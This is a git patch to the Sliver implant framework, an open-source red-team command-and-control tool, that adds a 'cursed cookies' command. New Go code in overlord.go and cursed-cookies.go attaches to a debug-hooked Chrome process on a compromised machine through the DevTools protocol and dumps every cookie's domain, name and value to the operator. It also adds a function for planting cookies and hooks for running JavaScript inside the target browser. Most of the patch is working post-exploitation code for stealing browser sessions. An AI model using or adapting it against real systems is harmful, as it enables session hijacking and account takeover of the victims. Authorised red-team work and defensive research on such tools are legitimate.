From d0826e63bcf0b6207ed433a9d92cf1a9652a3194 Mon Sep 17 00:00:00 2001
From: moloch-- <875022+moloch--@users.noreply.github.com>
Date: Sun, 25 Sep 2022 17:51:07 -0700
Subject: [PATCH] Added cursed cookies cmd
---
client/command/commands.go | 17 ++++++
client/command/cursed/cursed-console.go | 22 +++++++-
client/command/cursed/cursed-cookies.go | 44 +++++++++++++++
client/command/filesystem/download.go | 3 +-
client/constants/constants.go | 1 +
client/overlord/overlord.go | 72 ++++++++++++++++++++++++-
6 files changed, 154 insertions(+), 5 deletions(-)
create mode 100644 client/command/cursed/cursed-cookies.go
diff --git a/client/command/commands.go b/client/command/commands.go
index 6de521a098..5d8fc21d55 100644
--- a/client/command/commands.go
+++ b/client/command/commands.go
@@ -3511,6 +3511,23 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
})
+ cursedCmd.AddCommand(&grumble.Command{
+ Name: consts.CursedCookies,
+ Help: "Dump all cookies from cursed process",
+ LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
+ HelpGroup: consts.GenericHelpGroup,
+ Flags: func(f *grumble.Flags) {
+ f.String("s", "save", "", "save to file")
+
+ f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ },
+ Run: func(ctx *grumble.Context) error {
+ con.Println()
+ cursed.CursedCookiesCmd(ctx, con)
+ con.Println()
+ return nil
+ },
+ })
cursedCmd.AddCommand(&grumble.Command{
Name: consts.ScreenshotStr,
Help: "Take a screenshot of a cursed process debug target",
diff --git a/client/command/cursed/cursed-console.go b/client/command/cursed/cursed-console.go
index d665efac40..74f0d8b994 100644
--- a/client/command/cursed/cursed-console.go
+++ b/client/command/cursed/cursed-console.go
@@ -52,7 +52,7 @@ func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
- startCursedConsole(curse, target, con)
+ startCursedConsole(curse, true, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
@@ -89,7 +89,13 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
return &selectedTarget
}
-func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
+var (
+ helperHooks = []string{
+ "", // console.log
+ }
+)
+
+func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed ยป\033[0m ",
@@ -104,6 +110,18 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
+
+ if helpers {
+ // Execute helper hooks
+ ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+ for _, hook := range helperHooks {
+ _, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
+ if err != nil {
+ con.PrintErrorf("%s\n", err)
+ }
+ }
+ }
+
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
diff --git a/client/command/cursed/cursed-cookies.go b/client/command/cursed/cursed-cookies.go
new file mode 100644
index 0000000000..65df72e938
--- /dev/null
+++ b/client/command/cursed/cursed-cookies.go
@@ -0,0 +1,44 @@
+package cursed
+
+/*
+ Sliver Implant Framework
+ Copyright (C) 2022 Bishop Fox
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "github.com/bishopfox/sliver/client/console"
+ "github.com/bishopfox/sliver/client/overlord"
+ "github.com/desertbit/grumble"
+)
+
+func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ curse := selectCursedProcess(con)
+ if curse == nil {
+ return
+ }
+ con.Println()
+
+ cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
+ if err != nil {
+ con.PrintErrorf("Failed to dump cookies: %s\n", err)
+ return
+ }
+
+ con.PrintInfof("Domain\tName\tValue")
+ for _, cookie := range cookies {
+ con.Printf("%s\t%s\t%s", cookie.Domain, cookie.Name, cookie.Value)
+ }
+}
diff --git a/client/command/filesystem/download.go b/client/command/filesystem/download.go
index e4c899f689..797f3c38c7 100644
--- a/client/command/filesystem/download.go
+++ b/client/command/filesystem/download.go
@@ -22,7 +22,6 @@ import (
"context"
"fmt"
"os"
- "path"
"path/filepath"
"regexp"
"runtime"
@@ -173,7 +172,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
- dst = path.Join(dst, fileName)
+ dst = filepath.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
diff --git a/client/constants/constants.go b/client/constants/constants.go
index d9adc477a8..b7b4235082 100644
--- a/client/constants/constants.go
+++ b/client/constants/constants.go
@@ -249,6 +249,7 @@ const (
CursedConsole = "console"
CursedElectron = "electron"
CursedEdge = "edge"
+ CursedCookies = "cookies"
)
// Groups
diff --git a/client/overlord/overlord.go b/client/overlord/overlord.go
index bba5c5409a..98d157a58e 100644
--- a/client/overlord/overlord.go
+++ b/client/overlord/overlord.go
@@ -3,14 +3,17 @@ package overlord
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
+
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
+
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
+
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
@@ -24,8 +27,11 @@ import (
"log"
"net/http"
"net/url"
+ "time"
"github.com/bishopfox/sliver/client/core"
+ "github.com/chromedp/cdproto/cdp"
+ "github.com/chromedp/cdproto/network"
"github.com/chromedp/cdproto/page"
"github.com/chromedp/cdproto/target"
"github.com/chromedp/chromedp"
@@ -158,7 +164,10 @@ func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]b
}
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
var result []byte
- err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
+ evalTasks := chromedp.Tasks{
+ chromedp.Evaluate(jsCode, &result),
+ }
+ err := chromedp.Run(extCtx, evalTasks)
return result, err
}
@@ -260,6 +269,67 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
return extensionContexts, nil
}
+func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
+ var cookies []*network.Cookie
+ var err error
+ setCookieTasks := chromedp.Tasks{
+ // read network values
+ chromedp.ActionFunc(func(ctx context.Context) error {
+ cookies, err = network.GetAllCookies().Do(ctx)
+ if err != nil {
+ return err
+ }
+ // for i, cookie := range cookies {
+ // log.Printf("chrome cookie %d: %+v", i, cookie)
+ // }
+ return nil
+ }),
+ }
+ taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+ defer taskCancel()
+ defer cancel()
+ ctx, _ := chromedp.NewContext(taskCtx)
+ if err := chromedp.Run(ctx, setCookieTasks); err != nil {
+ return cookies, err
+ }
+ return cookies, nil
+}
+
+func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
+ var res string
+ setCookieTasks := chromedp.Tasks{
+ chromedp.ActionFunc(func(ctx context.Context) error {
+ // create cookie expiration
+ expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
+ // add cookies to chrome
+ for i := 0; i < len(cookies); i += 2 {
+ err := network.SetCookie(cookies[i], cookies[i+1]).
+ WithExpires(&expr).
+ WithDomain("localhost").
+ WithHTTPOnly(true).
+ Do(ctx)
+ if err != nil {
+ return err
+ }
+ }
+ return nil
+ }),
+ // navigate to site
+ // chromedp.Navigate(host),
+ // read the returned values
+ // chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
+ }
+ taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+ defer taskCancel()
+ defer cancel()
+ ctx, _ := chromedp.NewContext(taskCtx)
+ if err := chromedp.Run(ctx, setCookieTasks); err != nil {
+ return "", err
+ }
+
+ return res, nil
+}
+
// Screenshot - Take a screenshot of a Chrome context
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
var result []byte